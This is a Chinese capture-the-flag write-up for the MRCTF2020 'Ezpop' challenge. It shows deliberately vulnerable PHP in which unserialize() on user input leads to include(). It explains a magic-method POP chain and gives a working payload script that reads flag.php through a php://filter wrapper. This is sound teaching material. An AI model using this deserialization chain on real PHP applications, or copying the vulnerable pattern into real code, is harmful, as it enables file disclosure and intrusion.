[MRCTF2020]Ezpop

知識點

• pop鏈反序列化構造

題目源碼

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){ #如果是對象，打印對象內容
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

Modifer類，有include，可以通過偽協議讀取flag.php文件

__invoke方法，調用函數的方式調用一個對象時的回應方法

往下看Show類

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){ #如果是對象，打印對象內容
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

看到有__toString方法，類被當成字符串時的回應方法

__wakeup方法，unserialize反序列化時優先調用

看Test類

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

__get()方法，訪問不存在的屬性或是受限的屬性時調用

pop鏈構造

1. __wakeup()方法通過preg_match()將$this->source做字符串比較，如果\$this->source是Show類，就調用了__toString()方法
2. __toString()訪問了str的source屬性，str可以構造成Test類，Test類不存在source屬性，就調用了Test類的__get()方法
3. __get()方法將p作為函數使用，p可以實例化成Modifier類，就調用了Modifier的__invoke()方法
4. __invoke()方法調用了append()方法，包含\$value，如果\$value為偽協議，則可以讀取flag.php

構造

<?php
class Modifier {
    protected  $var = "php://filter/convert.base64-encode/resource=flag.php";
}

class Show{
    public $source;
    public $str;
    public function __construct($file){
        $this->source = $file;        
    }
}

class Test{
    public $p;    
}


$a = new Show();
$a->str = new Test();
$a->str->p = new Modifier();
$b = new Show($a);
echo urlencode(serialize($b));

將編碼傳給pop參數，即可得到flag.php的base64編碼，解碼得flag

參考

gem-love.com/ctf/2184.html#Ezpop

https://blog.csdn.net/SopRomeo/article/details/105562005

http://wh1sper.cn/%E7%94%B1mrctf2020%E5%AD%A6%E4%B9%A0%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96pop%E9%93%BE/